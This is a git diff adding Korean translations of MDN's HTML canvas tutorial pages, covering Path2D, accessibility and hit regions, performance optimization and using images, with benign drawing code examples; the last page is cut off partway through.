+<h3 id="Path2D_예제">Path2D 예제</h3>
+
+<p>이 예제에서는, 직사각형과 원을 만들어 볼 것입니다. 나중에 사용할 것을 고려하여, 두 도형 모두 <code>Path2D</code> object로 저장 될 것입니다. 새로운 버전의 <code>Path2D</code> API에서는 여러 메소드들이 지금 사용하고있는 path가 아닌 <code>Path2D</code> object를 옵션으로 선택하여 사용 할 수 있도록 업데이트 되었습니다. 아래의 예제에서 보시면, <code>stroke</code> 와 <code>fill</code> 메소드가 오브젝트를 캔버스 위에 그리도록 path 변수와 함께 사용되었습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;html&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="130" height="100"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<pre class="brush: js;highlight[6,9]">function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    var rectangle = new Path2D();
+    rectangle.rect(10, 10, 50, 50);
+
+    var circle = new Path2D();
+    circle.moveTo(125, 35);
+    circle.arc(100, 35, 25, 0, 2 * Math.PI);
+
+    ctx.stroke(rectangle);
+    ctx.fill(circle);
+  }
+}
+</pre>
+
+<p>{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}</p>
+
+<h3 id="SVG_paths_사용하기">SVG paths 사용하기</h3>
+
+<p>새로운 캔버스 path2D API 또다른 강력한 특징 중 하나는, 캔버스의 path를 초기화 하기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Tutorial/Paths">SVG path data</a>를 사용한다는 것입니다. 이는 path 데이터를 이동시키며, SVG와 canvas 에서 재사용 할 수 있도록 해줍니다. </p>
+
+<p>path는 (<code>M10 10</code>) 점으로 이동한 다음, 수평하게 오른쪽으로 으로 80 포인트 (<code>h 80</code>)  만큼 이동합니다. 이후 수직으로 80포인트 (v 80) 내려간 다음, 80 포인트 왼쪽으로 (<code>h -80</code>) 수평하게 이동하고 다시 시작점 (<code>z</code>)으로 돌아갑니다. 예시는 <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths">이곳</a>( <code>Path2D</code> constructor )에서 확인하실 수 있습니다.</p>
+
+<pre class="brush: js;">var p = new Path2D('M10 10 h 80 v 80 h -80 Z');</pre>
+
+<div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div>
diff --git a/files/ko/web/html/canvas/tutorial/finale/index.html b/files/ko/web/html/canvas/tutorial/finale/index.html
new file mode 100644
index 0000000000..1241680c5c
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/finale/index.html
@@ -0,0 +1,51 @@
+---
+title: Finale
+slug: Web/HTML/Canvas/Tutorial/Finale
+tags:
+  - 그래픽
+  - 캔버스
+  - 튜토리얼
+translation_of: Web/API/Canvas_API/Tutorial/Finale
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</div>
+
+<div class="summary">
+<p>축하합니다 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas </a>튜토리얼을 모두 끝마쳤습니다! 이 정보는 웹에서 더 나은 2D 그래픽을 만드는데 도움이 됩니다.</p>
+</div>
+
+<h2 id="더_많은_예시와_튜토리얼">더 많은 예시와 튜토리얼</h2>
+
+<p>이 사이트에는 다양한 데모와 canvas에 대한 추가 설명이 있다.</p>
+
+<dl>
+ <dt><a href="https://codepen.io/search/pens?q=canvas">Codepen.io</a></dt>
+ <dd>프론트 엔드 개발자 playground 및 브라우저의 코드 편집기.</dd>
+ <dt><a href="http://www.html5canvastutorials.com/">HTML5 Canvas Tutorials</a></dt>
+ <dd>대부분 canvas API의 예시</dd>
+ <dt><a href="/en-US/docs/Games">Game development</a></dt>
+ <dd>게임은 가장 인기있는 컴퓨터 활동 중 하나이다. 어떤 표준 규격의 웹 브라우저에서도 실행할 수 있는 더 나은 게임을 개발할 수 있도록 하기 위한 신기술이 끊임없이 등장하고 있다.</dd>
+</dl>
+
+<h2 id="기타_웹API">기타 웹API</h2>
+
+<p>이 API들는 canvas 및 그래픽으로 작업할 때 유용하다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/WebGL">WebGL</a></dt>
+ <dd>3D를 포함한 복잡한 그래픽 렌더링을 위한 고급 API.</dd>
+ <dt><a href="/en-US/docs/Web/SVG">SVG</a></dt>
+ <dd>확장 가능한 Vector Graphics는 이미지를 벡터(선)과 형태의 집합으로 묘사하여 이미지를 그리는 크기에 상관없이 원활하게 확장할 수 있다.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio</a></dt>
+ <dd>Web Audio API는 개발자들이 오디오 소스 선택, 오디오에 효과 추가, 오디오 시각화 생성, 공간 효과 적용(예: 패닝)등을 할 수 있도록 웹 상에서 오디오를 제어하기 위한 다양하고 좋은 시스템을 제공한다.</dd>
+</dl>
+
+<h2 id="문의사항">문의사항</h2>
+
+<dl>
+ <dt><a href="http://stackoverflow.com/questions/tagged/canvas">Stack Overflow</a></dt>
+ <dd>"canvas"가 태그된 문의사항.</dd>
+ <dt><a href="/en-US/docs/MDN">Comments about this tutorial – the MDN documentation community</a></dt>
+ <dd>이 튜토리얼에 대해 의견이 있으시거나 저희에게 감사를 표하고 싶다면 언제든지 연락해주세요!</dd>
+</dl>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html b/files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html
new file mode 100644
index 0000000000..e720af3159
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/hit_regions_and_accessibility/index.html
@@ -0,0 +1,97 @@
+---
+title: 히트(Hit) 영역과 접근성
+slug: Web/HTML/Canvas/Tutorial/Hit_regions_and_accessibility
+translation_of: Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility
+---
+<div>{{CanvasSidebar}} {{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
+
+<div class="summary">{{HTMLElement("canvas")}} 엘리먼트는 비트맵이며 그려진 객체에 대한 정보는 제공하지 않습니다. 캔버스 컨텐츠는 시멘틱 HTML과 같은 접근성 도구에 노출되지 않습니다. 일반적으로 접근성을 위한 웹 사이트 또는 앱에서는 캔버스를 사용하지 않는 것이 좋습니다. 본 가이드라인은 접근성이 향상된 캔버스를 만드는데 도움이 될 것입니다.</div>
+
+<h2 id="대체_컨텐츠">대체 컨텐츠</h2>
+
+<p><code>&lt;canvas&gt; ... &lt;/ canvas&gt;</code> 태그 안의 내용은 캔버스 렌더링을 지원하지 않는 브라우저의 대체 컨텐츠로 사용할 수 있습니다. 또한 하위 DOM을 읽고 해석 할 수있는 보조 기술 사용자 (스크린 리더와 같은)에게도 매우 유용합니다. <a href="https://www.html5accessibility.com/tests/canvas.html">html5accessibility.com</a>의 좋은 예가 이를 수행 할 수있는 방법을 보여줍니다.</p>
+
+<pre class="brush: html">&lt;canvas&gt;
+  &lt;h2&gt;Shapes&lt;/h2&gt;
+  &lt;p&gt;A rectangle with a black border.
+   In the background is a pink circle.
+   Partially overlaying the &lt;a href="http://en.wikipedia.org/wiki/Circle" onfocus="drawCircle();" onblur="drawPicture();"&gt;circle&lt;/a&gt;.
+   Partially overlaying the circle is a green
+   &lt;a href="http://en.wikipedia.org/wiki/Square" onfocus="drawSquare();" onblur="drawPicture();"&gt;square&lt;/a&gt;
+   and a purple &lt;a href="http://en.wikipedia.org/wiki/Triangle" onfocus="drawTriangle();" onblur="drawPicture();"&gt;triangle&lt;/a&gt;,
+   both of which are semi-opaque, so the full circle can be seen underneath.&lt;/p&gt;
+&lt;/canvas&gt; </pre>
+
+<p><a href="https://www.youtube.com/watch?v=ABeIFlqYiMQ">Steve Faulkner의 NVDA가 이 예제를 어떻게 읽는지를 보여주는 동영상</a>을 참고하시기 바랍니다.</p>
+
+<h2 id="ARIA_규칙">ARIA 규칙</h2>
+
+<p><a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a>(Accessible Rich Internet Application)는 장애인이 사용자가 웹 콘텐츠 및 웹 응용 프로그램을보다 쉽게 사용할 수 있도록하는 방법을 정의합니다. ARIA 속성을 사용하여 캔버스 엘리먼트의 동작 및 용도를 설명 할 수 있습니다. 자세한 내용은 <a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a> 및 <a href="/ko/docs/Web/Accessibility/ARIA/ARIA_Techniques">ARIA 기술</a>을 참조하십시오.</p>
+
+<pre class="brush: html">&lt;canvas id="button" tabindex="0" role="button" aria-pressed="false" aria-label="Start game"&gt;&lt;/canvas&gt;
+</pre>
+
+<h2 id="히트(Hit)_영역">히트(Hit) 영역</h2>
+
+<p>마우스 좌표가 캔버스의 특정 영역 내에 있는지 여부는 문제를 해결하는 데 공통적입니다. 히트 영역 API를 사용하면 캔버스 영역을 정의 할 수 있으며 캔버스에 대화형 컨텐츠를 접근성 도구에 표시 할 수 있습니다. 히트 영역 API는 여러분이 히트 감지를 쉽게 할 수 있도록 하며 DOM 엘리먼트에 이벤트를 전달할 수 있도록 합니다. API에는 다음 세 가지 메소드가 있습니다 (현재 웹 브라우저에서는 아직 실험 중이며 브라우저 호환성 테이블을 확인하십시오).</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.addHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>히트 영역을 캔버스에 추가합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.removeHitRegion()")}} {{experimental_inline}}</dt>
+ <dd>캔버스에서 해당 <code>id</code>를 가진 히트 영역을 제거합니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clearHitRegions()")}} {{experimental_inline}}</dt>
+ <dd>캔버스에서 모든 히트 영역을 제거합니다.</dd>
+</dl>
+
+<p>경로에 히트 영역을 추가하고 {{domxref("MouseEvent.region")}} 속성을 확인하여 마우스가 영역을 히트하는지 테스트 할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;script&gt;
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: 'circle'});
+
+canvas.addEventListener('mousemove', function(event) {
+  if (event.region) {
+    alert('hit region: ' + event.region);
+  }
+});
+&lt;/script&gt;</pre>
+
+<p><code>addHitRegion()</code> 메소드는 <code>control</code> 옵션을 이용하여 이벤트를 엘리먼트(즉, 캔버스의 자식으로)로 전달합니다.</p>
+
+<pre class="brush: js">ctx.addHitRegion({control: element});</pre>
+
+<p>예를 들어 {{HTMLElement("input")}} 엘리먼트로 전달하는 데 유용 할 수 있습니다. <a href="https://codepen.io/peterj35/pen/PEdLKx">codepen 데모</a>를 참조하십시오.</p>
+
+<h2 id="포커스_링(Focus_rings)">포커스 링(Focus rings)</h2>
+
+<p>키보드로 작업 할 때 포커스 링은 페이지 탐색에 도움이되는 편리한 표시기입니다. 캔버스 드로잉에 포커스 링을 그리려면 <code>drawFocusIfNeeded</code> 속성을 사용할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}} {{experimental_inline}}</dt>
+ <dd>지정된 엘리먼트에 포커스가있는 경우,이 메소드는 현재 경로 주위에 포커스 링을 그립니다.</dd>
+</dl>
+
+<p>또한 <code>scrollPathIntoView()</code> 메서드를 사용하여 포커스가있는 경우 엘리먼트를 화면에 표시 할 수 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}} {{experimental_inline}}</dt>
+ <dd>현재 경로 또는 지정된 경로를 뷰로 스크롤합니다.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Canvas accessibility use cases</a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Canvas element accessibility issues</a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">HTML5 Canvas Accessibility in Firefox 13 – by Steve Faulkner</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">Best practices for interactive canvas elements</a></li>
+</ul>
+
+<div>{{ PreviousNext("Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas", "Web/API/Canvas_API/Tutorial/Optimizing_canvas") }}</div>
diff --git a/files/ko/web/html/canvas/tutorial/index.html b/files/ko/web/html/canvas/tutorial/index.html
new file mode 100644
index 0000000000..03077163aa
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/index.html
@@ -0,0 +1,62 @@
+---
+title: 캔버스 튜토리얼
+slug: Web/HTML/Canvas/Tutorial
+tags:
+  - Canvas
+  - Graphic
+  - Guide
+  - HTML
+  - HTML5
+  - Intermediate
+  - Web
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div>{{CanvasSidebar}}</div>
+
+<div><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a></div>
+
+<div class="summary">
+<p><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a>는 <a href="/en-US/docs/HTML" title="HTML">HTML</a> 요소 중 하나로서, 스크립트(보통은 <a href="/en-US/docs/JavaScript" title="JavaScript">자바스크립트</a>)를 사용하여 그림을 그리는 데에 사용됩니다. 예를 들면, 그래프를 그리거나 사진을 합성하거나, 간단한(혹은 <a href="/en-US/docs/HTML/Canvas/A_Basic_RayCaster" title="A_Basic_RayCaster">복잡할 수도 있는</a>) 애니메이션을 만드는 데에 사용될 수 있습니다. 오른쪽에 보이는 이미지들은 앞으로 설명하게 될 <a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><strong><code>&lt;canvas&gt;</code></strong></a>를 사용하여 만들 수 있는 것들의 일부입니다.</p>
+</div>
+
+<p><span class="seoSummary">이 튜토리얼은 <code>&lt;canvas&gt;</code> 요소를 사용하여 2D 그래픽을 어떻게 그리는지 기초부터 설명합니다. 예제들을 통하여 캔버스로 할 수 있는 것이 무엇인지 알려주며, 바로 사용할 수 있도록 코드도 제공합니다.</span></p>
+
+<p><code>&lt;canvas&gt;</code>는 Apple의 Webkit에 처음 도입되어 Mac OS X 대시보드(Dashboard)에 사용되었고, 이후 다른 브라우저에도 구현되어 왔습니다. 현재 대부분의 주요 브라우저에서 지원됩니다.</p>
+
+<h2 id="Before_you_start" name="Before_you_start">시작하기 전 알아두어야 할 것</h2>
+
+<p><code>&lt;canvas&gt;</code> 요소를 사용하는 것이 어려운 일은 아니지만, <a href="/en-US/docs/HTML" title="HTML">HTML</a>과 <a href="/en-US/docs/JavaScript" title="JavaScript">자바스크립트</a>에 대한 기본 지식을 갖추고 있어야 합니다. 몇몇 오래된 브라우저는 <code>&lt;canvas&gt;</code> 요소를 지원하지 않지만, 최근 버전의 주요 브라우저들은 모두 지원하고 있습니다. 캔버스의 크기는 300px * 150px (너비 * 높이)가 초기 설정값이며, HTML <code>height</code>와 <code>width</code> 속성을 사용하여 바꿀 수 있습니다. 캔버스에 그림을 그리려면 자바스크립트 컨텍스트 오브젝트를 사용하며, 즉석에서 그림을 생성할 수 있습니다.</p>
+
+<h2 id="In_this_tutorial" name="In_this_tutorial">튜토리얼 내용</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Basic_usage" title="Canvas_tutorial/Basic_usage">캔버스(Canvas) 기본 사용법</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes" title="Canvas_tutorial/Drawing_shapes">캔버스에 도형 그리기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">스타일과 색 적용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_text">텍스트 그리기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Using_images" title="Canvas_tutorial/Using_images">이미지 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Transformations" title="Canvas_tutorial/Transformations">모양 변환</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Canvas_tutorial/Compositing">도형 합성</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Basic_animations" title="Canvas_tutorial/Basic_animations">애니메이션 기본</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">애니메이션 고급</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">픽셀 다루기</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Hit 영역과 accessibility</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Optimizing_canvas" title="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Canvas_tutorial/Optimizing_canvas">캔버스 최적화</a></li>
+ <li><a href="/ko/docs/Web/API/Canvas_API/Tutorial/Finale">마무리</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API" title="HTML/Canvas">캔버스 주제 페이지</a></li>
+ <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Adobe 일러스트레이터와 캔버스 플러그인</a></li>
+ <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5 캔버스 튜토리얼</a></li>
+</ul>
+
+<div class="hidden">
+<h2 id="페이지_작성에_기여하신_분들에게_알리는_말씀">페이지 작성에 기여하신 분들에게 알리는 말씀</h2>
+
+<p>2013년 6월 17일에 일어난 기술적인 오류로 인해, 이 튜토리얼에 대한 그 동안의 내역이 사라졌습니다. 사라진 내역에는 이 페이지 작성에 기여한 모든 분들의 기록도 포함됩니다. 이에 대해 사과드리며, 여러분들의 용서를 구합니다. (이상은 영문 페이지의 내용이므로 이 페이지와는 상관 없음을 밝힙니다.)</p>
+</div>
+
+<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div>
diff --git a/files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html b/files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html
new file mode 100644
index 0000000000..460b5e893f
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/optimizing_canvas/index.html
@@ -0,0 +1,110 @@
+---
+title: 캔버스 최적화
+slug: Web/HTML/Canvas/Tutorial/Optimizing_canvas
+translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</div>
+
+<div class="summary">
+<p>{{HTMLElement("canvas")}} 엘리먼트는 웹에서 2D 그래픽을 렌더링하는 데 가장 널리 사용되는 도구 중 하나입니다. 그러나 웹 사이트와 앱이 Canvas API를 최대한으로 밀면 성능이 저하되기 시작합니다. 그러나 웹 사이트 및 앱이 Canvas API를 한계치까지 사용하면 성능이 저하되기 시작합니다. <span class="seoSummary">이 글에서는 그래픽이 잘 동작하도록 보장하기 위해 캔버스 엘리먼트의 사용을 최적화하기위한 제안 사항을 제공합니다.</span></p>
+</div>
+
+<h2 id="성능_팁">성능 팁</h2>
+
+<p>다음은 캔버스 성능을 개선하기 위한 팁 모음입니다.</p>
+
+<h3 id="캔버스에_표시되지_않는_비슷한_원시_혹은_반복_객체를_미리_그려라">캔버스에 표시되지 않는 비슷한 원시 혹은 반복 객체를 미리 그려라</h3>
+
+<p>만약 당신이 캔버스에 애니메이션 프레임을 그리면서 반복적인 작업이 발견된다면, 눈에 보이지 않는 숨겨진 캔버스 요소를 새로 만들고 그 캔버스에 미리 그려 넣는 방법을 고려하세요. 그렇게 하면 필요한 순간에 숨긴 캔버스에 그려진 이미지를 다시 주 캔버스 이미지에 그려넣어, 불필요한 렌더링 반복 작업을 줄여 성능 향상을 꾀할 수 있습니다.</p>
+
+<pre class="brush: js">myCanvas.offscreenCanvas = document.createElement('canvas');
+myCanvas.offscreenCanvas.width = myCanvas.width;
+myCanvas.offscreenCanvas.height = myCanvas.height;
+
+myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);</pre>
+
+<h3 id="부동_소수점_좌표를_피하고_대신_정수를_사용하라.">부동 소수점 좌표를 피하고 대신 정수를 사용하라.</h3>
+
+<p>정수값들 없이 캔버스 상의 객체를 렌더링할 때 부가적인 픽셀 렌더링이 발생합니다.</p>
+
+<pre class="brush: js">ctx.drawImage(myImage, 0.3, 0.5);
+</pre>
+
+<p>이렇게하면 앤티 앨리어싱(anti-aliasing) 효과를 만들기 위해 브라우저에서 추가 연산을 수행해야합니다. 예제에서 이를 방지하려면 {{jsxref("Math.floor()")}}를 사용하여 {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} 호출에 사용된 모든 좌표를 반올림해야합니다.</p>
+
+<h3 id="drawImage에서_이미지_크기를_조정하지_마라."><code>drawImage</code>에서 이미지 크기를 조정하지 마라.</h3>
+
+<p>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}에서 즉시 크기를 조정하지 말고 다양한 이미지 크기를 오프스크린(offscreen) 캔버스에 캐시하십시오.</p>
+
+<h3 id="복잡한_장면에_여러_개의_레이어_캔버스를_사용하라.">복잡한 장면에 여러 개의 레이어 캔버스를 사용하라.</h3>
+
+<p>어플리케이션에서 일부 객체는 자주 이동하거나 변경해야하지만 다른 객체는 상대적으로 고정 위치에 남아야 합니다. 이런 상황에서 대응 가능한 최적화는 여러 <code>&lt;canvas&gt;</code> 엘리먼트를 사용하여 항목을 겹쳐서 만드는 것입니다.</p>
+
+<p>예를 들어 상단에 UI, 중간에 게임 플레이 액션, 하단에 정적 배경이있는 게임이 있다고 가정 해 보겠습니다. 이 경우 게임을 세 개의 <code>&lt;canvas&gt;</code> 레이어로 나눌 수 있습니다. UI는 사용자 입력시에만 변경되며 게임 플레이 레이어는 모든 새 프레임마다 변경되며 배경은 일반적으로 변경되지 않습니다.</p>
+
+<pre class="brush: html">&lt;div id="stage"&gt;
+  &lt;canvas id="ui-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="game-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+  &lt;canvas id="background-layer" width="480" height="320"&gt;&lt;/canvas&gt;
+&lt;/div&gt;
+
+&lt;style&gt;
+  #stage {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black;
+  }
+
+  canvas { position: absolute; }
+  #ui-layer { z-index: 3; }
+  #game-layer { z-index: 2; }
+  #background-layer { z-index: 1; }
+&lt;/style&gt;
+</pre>
+
+<h3 id="큰_배경_이미지는_일반_CSS를_사용하라.">큰 배경 이미지는 일반 CSS를 사용하라.</h3>
+
+<p>정적 배경 이미지가있는 경우 CSS {{cssxref("background")}} 속성을 사용하여 일반 {{HTMLElement("div")}} 요소에 그릴 수 있으며 캔버스 아래에 배치 할 수 있습니다. 이렇게하면 모든 틱 마다 배경을 캔버스에 렌더링 할 필요가 없어집니다.</p>
+
+<h3 id="CSS_변환transform을_사용하여_캔버스_크기_조정하라.">CSS 변환(transform)을 사용하여 캔버스 크기 조정하라.</h3>
+
+<p><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">CSS 변환(transform)</a>은 GPU를 사용하기 때문에 더 빠릅니다. 가장 좋은 경우는 캔버스를 스케일링하지 않거나, 큰 캔버스를 축소하기보다 작은 캔버스를 확대하는 것입니다.</p>
+
+<pre class="brush: js">var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+</pre>
+
+<h3 id="투명도를_사용하지_마라.">투명도를 사용하지 마라.</h3>
+
+<p>응용 프로그램이 캔버스를 사용하고 투명 배경을 필요로하지 않는 경우 <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/getContext" title="The HTMLCanvasElement.getContext() method returns a drawing context on the canvas, or null if the context identifier is not supported."><code>HTMLCanvasElement.getContext()</code></a>를 사용하여 드로잉 컨텍스트를 만들 때 alpha 옵션을 false로 설정합니다. 이 정보는 렌더링을 최적화하기 위해 브라우저에서 내부적으로 사용할 수 있습니다.</p>
+
+<pre class="brush: js">var ctx = canvas.getContext('2d', { alpha: false });</pre>
+
+<h3 id="추가_팁들">추가 팁들</h3>
+
+<ul>
+ <li>배치 캔버스를 함께 호출합니다. 예를 들어 여러 개의 개별 선 대신 다각형 선을 그립니다.</li>
+ <li>불필요한 캔버스 상태 변경을 피하십시오.</li>
+ <li>화면의 차이만 렌더링하고 완전히 새로운 상태로 렌더링하지 마십시오.</li>
+ <li>가능하면 {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}} 속성을 사용하지 마십시오.</li>
+ <li>가능하면 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_text">텍스트 렌더링</a>을 피하십시오.</li>
+ <li>캔버스를 지우는 여러 가지 방법을 시도해보십시오 ({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}} vs. {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} vs. 캔버스 크기 조정).</li>
+ <li>애니메이션에서는 {{domxref("window.setInterval()")}} 대신 {{domxref("window.requestAnimationFrame()")}}을 사용하십시오.</li>
+ <li>무거운 물리 연산 라이브러리를 주의하십시오.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/canvas/performance/#toc-ref">Improving HTML5 Canvas Performance – HTML5 Rocks</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/05/optimizing-your-javascript-game-for-firefox-os/">Optimizing your JavaScript game for Firefox OS – Mozilla Hacks</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</p>
diff --git a/files/ko/web/html/canvas/tutorial/using_images/index.html b/files/ko/web/html/canvas/tutorial/using_images/index.html
new file mode 100644
index 0000000000..d9aae1c993
--- /dev/null
+++ b/files/ko/web/html/canvas/tutorial/using_images/index.html
@@ -0,0 +1,347 @@
+---
+title: Using images
+slug: Web/HTML/Canvas/Tutorial/Using_images
+tags:
+  - Advanced
+  - Canvas
+  - Graphics
+  - HTML
+  - Tutorial
+translation_of: Web/API/Canvas_API/Tutorial/Using_images
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations" )}}</div>
+
+<div class="summary">
+<p>지금까지 우리는 Canvas를 가지고 스스로 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes">도형</a>을 만들고 그 도형에 <a href="/ko/docs/Web/HTML/Canvas/Tutorial/Applying_styles_and_colors">스타일 적용</a> 해 보았습니다. 이미지를 사용 하는 기능은 {{HTMLElement("canvas")}}의 가장 흥미로운 기능중 하나입니다. 이 기능은 게임의 그래픽 배경이나 혹은 다이나믹한 사진 도음들을 위해 사용 될 수 있습니다. PNG,GIF, JPEG등 브라우저에서 지원되는 포맷형태라면 어떠한 외부 이미지라도 사용 될 수 있습니다. 같은 페이지 소스에서 다른 Canvas요소로 만들어진 이미지 또한 사용할수 있습니다!</p>
+</div>
+
+<p>이미지를 캔버스로 불러오는것은 기본적으로 두 단계를 필요로 합니다:</p>
+
+<ol>
+ <li>{{domxref("HTMLImageElement")}} object를 참조하거나 다른 캔버스 요소를 소스로 사용합니다. 이는 URL을 가지고 이미지를 사용 할 수 있습니다.</li>
+ <li><code>drawImage()</code> function을 사용하여 캔버스에 나타난 이미지 위에 그림을 그립니다.</li>
+</ol>
+
+<p>이 과정이 어떻게 되는지 봅시다.</p>
+
+<h2 id="이미지_불러오기">이미지 불러오기</h2>
+
+<p>canvas API는 아래의 데이터 타입을 이미지 소스로 사용 할 수 있습니다:</p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement")}}</dt>
+ <dd>{{HTMLElement("img")}} element와 마찬가지로, <code>Image()</code> constructor를 통해 만들어진 이미지입니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("SVGImageElement")}}</dt>
+ <dd>{{SVGElement("image")}} element 를 사용해 불러온 이미지입니다.</dd>
+</dl>
+
+
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement")}}</dt>
+ <dd>HTML {{HTMLElement("video")}} 요소를 이미지 소스로 사용하여 비디오의 현재 프레임을 이미지로 불러옵니다.</dd>
+ <dt>{{domxref("HTMLCanvasElement")}}</dt>
+ <dd>다른 {{HTMLElement("canvas")}} 요소를 이미지 소스로 사용합니다.</dd>
+</dl>
+
